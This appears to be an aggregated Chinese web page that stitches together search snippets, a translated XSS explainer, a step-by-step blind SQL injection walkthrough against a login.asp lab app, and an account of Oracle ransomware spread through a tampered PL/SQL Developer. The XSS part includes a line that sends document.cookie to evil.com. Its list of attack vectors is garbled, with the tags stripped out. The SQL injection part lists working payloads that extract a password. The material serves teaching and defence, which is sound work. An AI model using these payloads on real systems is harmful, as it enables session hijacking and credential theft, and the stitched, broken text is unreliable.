精华内容
下载资源
问答
  • 有一个参数存在命令注入风险,这个该怎么对这个参数进行检验防止命令注入
  • 跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送...

    bca78102c8dd8b2eef142fb3453d56f3.gif

    跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送到用户浏览器的工具。通常受到跨站脚本攻击的网页包括论坛、留言板以及可以评论的网页。

    如果网页将用户的原始输入作为网页内容,那么它很容易受到 XSS 攻击,因为这类用户输入一定会被受害者的浏览器解析。XSS 攻击可能存在于 VBScript、ActiveX、Flash,甚至 CSS 中。但它在 JavaScript 中最常见,主要是因为 JavaScript 是大多数浏览体验的基础。

    348726de4bf52df462d694e32bf6025b.png

    “跨站脚本攻击只影响用户吗?”

    如果攻击者能利用某网页上的 XSS 漏洞,在用户浏览器上执行任意的 JavaScript 代码,那么该网站和它的用户都会被影响。像其他安全性问题一样,XSS 不只会给用户造成困扰。如果它影响了你的用户,那么它也会影响你。

    跨站脚本攻击也可能用于丑化原网站,而不是攻击网站用户。攻击者通过注入脚本,改变网站的内容,或者甚至将当前页面重定向到另一个网页,例如一个有恶意代码的网页。

    攻击者能利用 JavaScript 做什么?

    与诸如 SQL 注入这样的漏洞相比,我们一般会认为 XSS 漏洞是低风险的。起初,能在网页端执行 JavaScript 引起的后果可能并不严重。大多数浏览器都是在严格受控的环境中运行 JavaScript,这使得 JavaScript 在访问用户的操作系统和文件上受到限制。但是,如果将 JavaScript 用于恶意内容中,它仍然会带来一定的风险:

    网页其余部分能访问的所有对象,恶意的 JavaScript 都能访问。包括访问用户的 cookie。用户的 cookie 通常被用来存储会话标志。如果攻击者获得了用户的会话 cookie,他们便能伪装成该用户,利用其身份执行操作,并且访问用户的敏感数据。

    JavaScript 可以读取并任意修改浏览器中的 DOM。还好,该情形只可能发生在 JavaScript 当前运行的网页中。

    JavaScript 可使用 XMLHttpRequest 对象,向任意站点发送带有任意数据的 HTTP 请求。

    现代浏览器中的 JavaScript 可使用 HTML5 接口。例如可访问用户的地理位置、摄像头、麦克风,甚至是用户文件系统中的指定文件。虽然这些接口大多数都需要经过用户同意,但攻击者可通过社会工程学绕过这些限制。

    通过以上几点,并结合社会工程学,不法之徒可发起更高级的攻击,包括:盗窃 Cookie、种植木马、记录密钥、网络钓鱼和盗窃身份。XSS 漏洞提供了完美的空间将攻击升级为更严重的攻击。跨站脚本攻击经常与其他类型的攻击一起被使用,例如:跨站请求伪造(CSRF)。

    跨站脚本攻击的类型包括:存储型/持久化的 XSS、 反射型/非持久化的 XSS 和 基于 DOM 的 XSS。你可在 XSS 的类型一文中了解更多内容。

    跨站脚本攻击如何工作

    典型的 XSS 攻击有两个阶段:

    为了在受害者的浏览器中运行恶意 JavaScript 代码,攻击者必须先找到一种方式将恶意代码注入到受害者访问的网页中。

    之后,受害者必须访问有恶意代码的网页。如果攻击者有特定的攻击目标,该攻击者可使用社会工程学结合(或)网络钓鱼的方式给受害者发送恶意网址。

    要完成第一步,易受攻击的网站需要将用户的输入直接包含在它的页面中。之后攻击者便能插入恶意代码片段,这些代码将在网页中使用并被受害者的浏览器视为源代码。也有一些 XSS 攻击的变体,攻击者利用社会工程学诱导用户访问某网址,并且该网址中就包含了恶意代码。

    以下是服务端伪代码片段,用于在网页中展示最近的评论:

    print ""

    print "

    Most recent comment

    "

    print database.latestComment

    print ""

    复制代码

    以上脚本很简单,作用是从数据库中取出最近的评论并放入 HTML 页面中。这段脚本默认页面展示的评论是纯文本,而不包含 HTML 标签或其他代码。这就导致了页面很容易遭受 XSS 攻击,因为攻击者可以提交包含恶意代码的评论。例如当评论的内容是以下代码:

    doSomethingEvil();

    复制代码

    网站服务端为访问该网页的用户提供以下 HTML 代码:

    Most recent comment

    doSomethingEvil();

    复制代码

    当受害者的浏览器加载该页面时,攻击者的恶意脚本开始执行。受害者常常不会意识到这类情形,也不能阻止这类攻击。

    使用 XSS 攻击偷取 Cookie

    不法之徒经常使用 XSS 攻击偷取 cookie。如此他们便能伪装成受害者。攻击者有多种方式将 cookie 发送到他们自己的服务器。其中一种方式是在受害者浏览器中执行以下客户端代码:

    window.location = "http://evil.com/?cookie=" + document.cookie;

    复制代码

    下图展示了简单 XSS 攻击的各步骤。

    2bec887058ed872f5fa0a26fe84f786a.png

    攻击者通过在提交表单时携带恶意 JavaScript 内容,将恶意内容注入到网站的数据库中。

    受害者向网站服务端请求网页。

    网站服务端将攻击者的恶意内容作为 HTML 内容的一部分,并返回给受害者的浏览器。

    受害者的浏览器执行包含在 HTML 中的恶意脚本。在该场景中,它将受害者的 cookie 发送到攻击者的服务器。

    在 HTTP 请求抵达服务器时,攻击者只需从请求中提取受害者的 cookie 即可。

    攻击者可以使用刚刚偷窃的受害者 cookie 进行伪装。

    想了解更多如何实现 XSS 攻击,你可以参考一份跨站脚本攻击的综合教程。

    跨站脚本攻击方式

    以下列表包含常见的 XSS 攻击方式,攻击者可使用它们降低网站的安全性。OWASP 组织维护了一个更完整的 XSS 攻击方式的列表:XSS Filter Evasion Cheat Sheet。

    复制代码

    JavaScript 事件

    像 onload 和 onerror 这类 JavaScript 事件属性能在很多种标签中使用。这也是一类非常流行的 XSS 攻击方式。

    复制代码

    标签中,除了像上面一样,可以通过事件属性实现 XSS 攻击代码外,还可以通过更多鲜为人知的属性,比如:background 属性。

    复制代码

    标签

    一部分浏览器会执行 属性中的 JavaScript 代码。

    复制代码

    标签

    标签的功能是将另一个 HTML 页面嵌入到当前页面中。由于内容安全协议(CSP),尽管 IFrame 中可能有 JavaScript 代码,但这些代码没有权限访问父页面上的 DOM。然而,IFrame 仍然是发起网络钓鱼攻击的有效方式。

    复制代码

    标签

    在一些浏览器中,如果 标签的 type 属性被设置成 image,那么它便能嵌入脚本。

    复制代码

    标签

    标签通常用于链接外部样式表,但也可以包含脚本。

    复制代码

    复制代码

    标签

    标签也可以通过 background 属性嵌入脚本。

    复制代码

    标签

    标签能用于引入外部网站的脚本。

    复制代码

    你的网站是否易受跨站脚本攻击?

    跨站脚本攻击漏洞是最常见的网站漏洞之一。OWASP 组织(开放网络应用安全工程)在 OWASP Top 10 2017 一文中将 XSS 漏洞列为第二流行问题。

    幸运的是,通过运行 Acunetix 的漏洞扫描器对网站进行自动扫描,将很容易测试你的网站是否存在 XSS 漏洞或其他漏洞。Acunetix 的漏洞扫描器 包含专门的 XSS 漏洞扫描模块。你可以在这个例子中找到更多有关对网站运行 XSS 漏洞扫描的信息。如何检测盲目 XSS 攻击漏洞一文中介绍了如何使用 Acunetix 检测盲目 XSS 攻击漏洞的例子。

    如何避免 XSS 攻击

    为了免受 XSS 攻击,你必须对用户的输入进行校验。你的应用代码不应该在没有检查接收的数据是否是恶意代码的情况下,直接将收到的数据输出给浏览器。

    参考这些文章获取更多细节:预防 XSS 攻击和预防基于 DOM 的跨站脚本攻击。你也可以在 OWASP 维护的预防 XSS 攻击的速查表中找到有用的信息。

    如何预防跨站脚本攻击(XSS)—— 通用技巧

    预防跨站脚本攻击(XSS)并不容易。特定的预防技术和 XSS 漏洞的类型、用户输入时的场景上下文和编程框架相关。尽管如此,你仍然可以遵循一些通用策略来确保网站安全。

    第一步:培训并保持安全意识

    为了保证你的网站安全,所有参与搭建该网站的人员都必须意识到 XSS 漏洞相关的风险。你应该为所有开发者、测试员工、运维员工和系统管理员提供适量的安全培训。你可以让他们参考这篇文章作为安全培训的开始。

    第二步:不要信任任何用户输入

    将所有用户输入都看作不可信的。任何被用作 HTML 输出结果的用户输入都有 XSS 攻击的风险。对待授权用户或内部员工的输入,也应该像对待外部用户输入一样,将其视为不可信。

    第三步:使用转义或编码

    根据用户输入内容的使用场景,使用合适的转义或编码技术,比如:HTML 转义、JavaScript 转义、CSS 转义、URL 转义等等。不到万不得已,不要自己写转义库,尽量使用已经存在的转义库。

    第四步:清理 HTML

    如果用户输入包含 HTML 内容,那么不能对这些内容进行转义,否则将导致标签不合法(译者注:例如期望

    ,但转义后结果为 <div>)。在这种情况下,使用信任的并且验证过的库对 HTML 进行分析和清理。选择哪个库需根据你的开发语言而定,例如:在 .NET 上使用 HtmlSanitizer,在 Ruby on Rails 上使用 SanitizeHelper。

    第五步:设置 HttpOnly 标志

    为了减轻可能存在的 XSS 漏洞造成的后果,可开启 cookie 的 HttpOnly 标志。这样客户端 JavaScript 将不能访问这些 cookie。

    第六步:使用内容安全协议

    为了减轻可能存在的 XSS 漏洞造成的后果,也可以使用内容安全协议(CSP)。CSP 是一个 HTTP 响应头,它可以根据当前请求的资源声明哪些动态资源是允许被加载的。

    第七步:周期性扫描

    XSS 漏洞可能被开发者引入,也可能被外部库、模块或软件引入。你应该使用网站漏洞扫描器(比如 Acunetix)周期性扫描你的网站。如果你使用 Jenkins,你可以安装 Acunetix 插件,实现每次构建时进行自动扫描。

    FAQ

    跨站脚本攻击是如何工作的?

    在跨站脚本攻击(XSS)中,攻击者通过有漏洞的网页将恶意 JavaScript 代码发送给用户。用户的浏览器在用户的电脑上执行恶意 JavaScript 代码。值得注意的是,大约三分之一的网站都存在跨站脚本攻击漏洞。

    为什么跨站脚本攻击是危险的?

    尽管跨站脚本攻击发生在用户的浏览器,它仍然有可能对你的网站造成影响。例如,攻击者可以使用 XSS 窃取用户凭证并伪装成该用户登录你的网站。如果被窃取的用户是网站管理员,则攻击者将对你的网站有更多控制权。

    查看过去发生的一例高风险的 XSS 攻击例子。

    如何发现跨站脚本攻击漏洞

    为了发现跨站脚本漏洞,你可以进行人工渗透测试或者先使用漏洞扫描器。如果你使用了漏洞扫描器,那么你将节约许多时间和钱,因为你的渗透测试人员可以聚焦到更有挑战的漏洞中。

    查看为什么在雇佣测试人员之前,使用漏洞扫描器是个不错的选择。

    如何防御跨站脚本攻击

    为了防御跨站脚本攻击,你必须周期性扫描你的网站,或者至少在每次修改了代码后都扫描一次。之后,开发者必须进行正确的编码才能消除漏洞。与流行的观点相悖,网站防火墙不能防御跨站脚本攻击,他们仅仅使攻击变得更困难 —— 但漏洞仍然存在。

    转自:https://www.acunetix.com/websitesecurity/cross-site-scripting/

    举报/反馈

    展开全文
  • sql注入风险和案例分析

    万次阅读 2018-01-27 15:57:50
    sql注入风险和案例分析 什么是SQL注入攻击?引用百度百科的解释: sql注入_百度百科: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器...

    sql注入风险和案例分析

    什么是SQL注入攻击?引用百度百科的解释:

    sql注入_百度百科

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。[1]  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击

    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

    详细步骤:(相关文件下载在最后

    1.针对给出的WEB系统运行AspWebServer

    2.进入登录页面进行SQL注入漏洞测试

    正常登录:

    用户名:admin 密码:admin

    SQL注入漏洞测试:

    • 在正常用户名admin后增加一个单引号,单击"登录"
    • 或在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin
    • 若出错,证明没有对'进行过滤,存在SQL注入漏洞

    在正常用户名admin后增加一个单引号,单击"登录"

    出错

    在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

    登录出错

     

    登录出错,证明存在SQL注入漏洞。

    3.SQL注入攻击

    构造可以正常运行的目标地址

    • 输入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1
    • 原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1
    • 登录失败

    • 输入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a
    • 原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
    • 登录成功

    可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试

     

    4. 猜解数据库表名

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

    • 成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名

     

    5. 猜解数据库字段名

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
    • 若用户名字段确为uname,则提示登录成功
    • 同理可猜出密码字段为upass

    猜测用户名字段为name,登录出错

    猜测用户名字段为uname,登录成功

    说明数据库中用户名字段为uname

    猜测密码字段为upass,登录成功

    说明数据库中密码字段为upass

     

    6.猜解密码长度

    • 已知有一用户名为"wucm",首先猜其密码长度大于1
    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

    成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

    成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

    出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

    出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

    成功,说明"wucm"的密码长度为6位

     

    7.猜解密码

    根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

    首先测试第一位是否为数字

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

    出错,说明密码第一位不是数字, 测试是否位字母

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

    成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

    成功,说明密码第一位位"w"

     

    同理对6位密码逐位进行猜测,最后得到密码为"wcm987"

     

    至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试:

    登录成功,证明整个猜测过程和最后得出的密码都是正确的


     

    防范SQL注入攻击的方法:

    既然SQL注入式攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对数据库管理员防治SQL注入式攻击有一定的帮助。
      1、 普通用户与系统管理员用户的权限要有严格的区分。
      如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。
      2、 强迫使用参数化语句。
      如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击。不过可惜的是,现在支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。

    3、 加强对用户输入的验证。

      总体来说,防治SQL注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在SQLServer数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付SQL注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果。
      如可以使用存储过程来验证用户的输入。利用存储过程可以实现对用户输入变量的过滤,如拒绝一些特殊的符号。如以上那个恶意代码中,只要存储过程把那个分号过滤掉,那么这个恶意代码也就没有用武之地了。在执行SQL语句之前,可以通过数据库的存储过程,来拒绝接纳一些特殊的符号。在不影响数据库应用的前提下,应该让数据库拒绝包含以下字符的输入。如分号分隔符,它是SQL注入式攻击的主要帮凶。如注释分隔符。注释只有在数据设计的时候用的到。一般用户的查询语句中没有必要注释的内容,故可以直接把他拒绝掉,通常情况下这么做不会发生意外损失。把以上这些特殊符号拒绝掉,那么即使在SQL语句中嵌入了恶意代码,他们也将毫无作为。
      故始终通过测试类型、长度、格式和范围来验证用户输入,过滤用户输入的内容。这是防止SQL注入式攻击的常见并且行之有效的措施。

    实例:JSP使用过滤器防止SQL注入


      4、 多多使用SQL Server数据库自带的安全参数。
      为了减少注入式攻击对于SQL Server数据库的不良影响,在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
      如在SQL Server数据库中提供了Parameters集合。这个集合提供了类型检查和长度验证的功能。如果管理员采用了Parameters这个集合的话,则用户输入的内容将被视为字符值而不是可执行代码。即使用户输入的内容中含有可执行代码,则数据库也会过滤掉。因为此时数据库只把它当作普通的字符来处理。使用Parameters集合的另外一个优点是可以强制执行类型和长度检查,范围以外的值将触发异常。如果用户输入的值不符合指定的类型与长度约束,就会发生异常,并报告给管理员。如上面这个案例中,如果员工编号定义的数据类型为字符串型,长度为10个字符。而用户输入的内容虽然也是字符类型的数据,但是其长度达到了20个字符。则此时就会引发异常,因为用户输入的内容长度超过了数据库字段长度的限制。
      5、 多层环境如何防治SQL注入式攻击?
      在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是,如果下一层认为其输入已通过验证,则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境,在防止注入式攻击的时候,需要各层一起努力,在客户端与数据库端都要采用相应的措施来防治SQL语句的注入式攻击。
      6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
      使用专业的漏洞扫描工具,可以帮助管理员来寻找可能被SQL注入式攻击的点。不过漏洞扫描工具只能发现攻击点,而不能够主动起到防御SQL注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下,企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找数据库中的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具,可以帮助管理员发现SQL注入式漏洞,并提醒管理员采取积极的措施来预防SQL注入式攻击。如果攻击者能够发现的SQL注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞,那么攻击者也就无从下手了。

    7、设置陷阱账号:

    设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。将防注入的账号设置的很象管理员,如 admin,以制造假象吸引软件的检测,而密码是大于千字以上的中文字符,迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。

     


     

    攻击与防御一直是对立存在的两面,有新的攻击方式就会有更好的防护方法!在计算机网络方面两者更是通过长期竞争实现共同的进步;任何系统都不是完美的,既然我们不能开发出绝对安全的系统,那我们就要时刻防范各种可能的攻击。出现漏洞及时修复,这样才能保证我们系统的安全与稳定!

     

    本文用到的文件下载:sql注入实例分析.rar

    附送一个动画教程:SQLInjection.rar

    此文转载至左昱_leftshine,感谢!http://www.cnblogs.com/leftshine/p/SQLInjection.html

    展开全文
  • ,正常安装这个脚本是空文件,但是被注入的文件,该脚本包含了一系列的 JOB 定义、存储过程和触发器定义。 受感染的  AfterConnect.sql  脚本开头伪装非常正常的代码, 后续内容却是加密的恶意代码。 病毒主要...

    推荐大家使用官方提供的免费版本的客户端工具,如 SQL developer :http://www.oracle.com/technetwork/developer-tools/sql-developer/downloads/index.html。或开源免费的数据库客户端工具,如 DBeaver 社区版 :https://github.com/dbeaver/dbeaver/releases 

    当前是否被注入病毒排查方式如下:

    1、检查是否有结果

    select OWNER, TRIGGER_NAME, TRIGGER_TYPE, TRIGGERING_EVENT from dba_triggers
    where TRIGGER_NAME like '%DBMONITOR%';

    2、检查 $ORACLE_HOME/rdbms/admin/prvtsupp.plb 里是否有 create or replace procedure DBMS_SUPPORT_DBMONITORP 的代码    

    3.检查

    select 'DROP TRIGGER '||owner||'."'||TRIGGER_NAME||'";' from dba_triggers 
    where TRIGGER_NAME like  'DBMS_%_INTERNAL% '
    union all
    select 'DROP PROCEDURE '||owner||'."'||a.object_name||'";' from dba_procedures a 
    where a.object_name like 'DBMS_%_INTERNAL% ';

    背景介绍

    最近有部分黑客采用各种手段对数据库进行 sql 注入或者直接加密等损坏方式攻击客户的数据库。需要说明的是这里并非黑客用多么高深的手段或者技能攻破 Oracle 数据库或者由于 Oracle Bug 引起的,Oracle 被无辜躺枪。相反,这类攻击完全是使用盗版客户端工具或者客户网络(或者主机)安全有漏洞,入侵主机或者直接使用盗版客户端(部分网上下载的非官方工具已经是被黑客篡改过的)对数据库登录时进行 SQL 注入的方法。

    故障描述

    于定期巡检期间发现数据库alert日志中有如下错误:

    Errors in file /home/oracle/diag/rdbms/ora11/ora11/trace/ora11_ora_181625.trc:
    ORA-00604: error occurred at recursive SQL level 1
    ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致)  之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库  Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
    ORA-06512: at "NEUSOFT_RPT.DBMS_CORE_INTERNAL         ", line 25
    ORA-06512: at line 2

    后经核实是由于开发人员使用了带有病毒程序的客户端(PL/SQL Developer)导致如果用户从某些不明来源下载了 PL/SQL Developer 工具后(尤其是各种绿色版、破解版),这个工具的安装目录存在一个脚本文件 AfterConnect.sql,正常安装这个脚本是空文件,但是被注入的文件,该脚本包含了一系列的 JOB 定义、存储过程和触发器定义。受感染的 AfterConnect.sql 脚本开头伪装非常正常的代码,后续内容却是加密的恶意代码。

    病毒主要对象有:

     数据库启动后执行触发器 DBMS_SUPPORT_INTERNAL

    DBMS_SUPPORT_INTERNAL 主要的意义是:
    1. 当数据库创建时间大于1200天之后,开始备份tab$表
    2. 删除 tab$ 中除掉 owner# 为 0 和 38 的记录(sys,xdb)
    3. 通过 SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION 清理掉备份信息(v$controlfile_record_section)
    4. 然后通过 DBMS_SYSTEM.KSDWRT 在你的 alert 日志中写上2046次的提示信息
    Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
    你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库
    5. 再抛出一个前台的和4类似的警告信息

    数据库登录触发器 DBMS_SYSTEM_INTERNAL

    当你的非 SYSTEM,SYSAUX,EXAMPLE 之外的所有表的最小统计信息时间大于 1200 天,而且非 C89239.EXE 程序,就会报出来” 你的数据库已被 SQL RUSH Team 锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE
    (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.”的信息

    数据库登录触发器DBMS_CORE_INTERNAL

    这里比较明显,把表名不含 $,不含 ORACHK,不是 cluster 的表放到一个游标里面,然后取非 SYSTEM,SYSAUX,EXAMPLE之外的表空间的表的最小统计信息收集时间和当前时间比较如果大于 1200天 就执行 truncate table 操作,操作完成之后判断如果登录程序不为 C89239.EXE,则报出来异常,” 你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE
    (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.”。

    由于之前做了权限收缩收回了DBA角色与大多数权限,导致病毒程序权限不足,无法创建JOB,触发器编译失败,导致部分病毒程序无法执行,未造成重大影响。

    解决方案

    第一 :被攻击的数据库用户中没有重要的业务对象时

    1.这段代码的运行都是通过job来操作的,高版本默认的job_queue_processes已经是1000了,所以当时通过操作系统看到后台有700多个job进程在跑这段代码。
    通过把job_queue_processes设置为0,重启实例它这段脚本就跑不起来了。只有没有跑这段代码,存储过程等对象才能删除。

    2.从操作系统登录到数据库(sys 用户),找出非法的存储过程,job 定义,触发器,把它们都 drop 就可以,当时由于这个客户在受攻击的数据库用户下面没有业务对象,把这个用户drop,重建就可以了。上述的整个处理过程没有数据丢失,之所以耗时这么长是因为客户担心丢失先做一次备份。

    如果 SELECT NVL(TO_CHAR(SYSDATE-MIN(LAST_ANALYZED)),0) FROM ALL_TABLES WHERE TABLESPACE_NAME NOT IN (‘SYSTEM’,'SYSAUX’,'EXAMPLE’); 小于1200,查询下列语句,然后删除掉(正常库查询为空)

    select 'DROP TRIGGER '||owner||'."'||TRIGGER_NAME||'";' from dba_triggers where
    TRIGGER_NAME like  'DBMS_%_INTERNAL% '
    union all
    select 'DROP PROCEDURE '||owner||'."'||a.object_name||'";' from dba_procedures a 
    where a.object_name like 'DBMS_%_INTERNAL% ';

    如果SYSDATE-MIN(LAST_ANALYZED)大于1200, SYSDATE-CREATED大于1200天未重启,或者SYSDATE-CREATED小于1200;就是tab$还未被清理,但是表被truncate,这样情况可以通过oracle原厂dul工具恢复;

    如果SYSDATE-CREATED大于1200天,而且数据库重启过,但是SYSDATE-MIN(LAST_ANALYZED)小于1200天,那可以直接通过把ORACHK’||SUBSTR(SYS_GUID,10)中备份信息插入到$tab中;

    SYSDATE-CREATED大于1200天,而且数据库重启过,但是SYSDATE-MIN(LAST_ANALYZED)大于1200天,Oracle 原厂dul之类工具结合ORACHK’||SUBSTR(SYS_GUID,10)备份表中数据进行恢复;

    第二 :当被攻击的数据库用户中有重要业务对象时:

    1. 如果是对文件加密,根据具体客户情况,可以考虑比对正常文件(没有被攻击的数据库的文件)和有问题文件比对,找到端倪后,拼接等等思路

    2. 根据实际情况,如果上面的“1.”不可行,那么考虑停止黑客的异常job,过程,触发器等等(可以采用倒推等方式或者直接查询DBA_OBJECTS 中的LAST_DDL时间),根据实际情况,如果有必要的话,还可以根据报错时间点进行logminer来进行检查和确认损坏过程,并找到黑客备份的系统表,进行还原(请在Oracle Support或者专业DBA指导下完成)。

    3. 如果上述的“1.”和“2.”都不可行,那么可以考虑使用各种可以进行逻辑挖掘的工具挖出数据。
    .
    当然根据不同的黑客入侵方式,可能还有其他解决方法,这里要重点讨论的是我们如何防患于未然:
    1,请使用正版工具或者使用Oracle官方推荐的免费SQL客户端工具:
    http://www.oracle.com/technetwork/developer-tools/sql-developer/downloads/index.html
    上面地址是官网正版下载地址,功能非常强大,完美支持12c和以前的数据库版本,并且免费。

    2,如果发现类似问题,尽量保护现场,并根据报错信息的时间点,追查原因

    3,重要数据库一定要备份,如果配置了ADG,备库建议开闪回,如此,很多问题处理上就简单多了。

    4,对于数据库用户的dba等高级权限应该有效管理

    5.请注意,有些黑客会设置一个潜伏期,例如上面的例子,该攻击的效果存在1200天的潜伏期:
    黑客代码中有类似下面的判断条件:IF (DATE1>=1200) THEN
    因此,建议客户检查数据库的异常对象,如果发现异常对象,建议直接删除相关恶意注入的数据库对象(procedure,job,trigger等等)

    预防策略

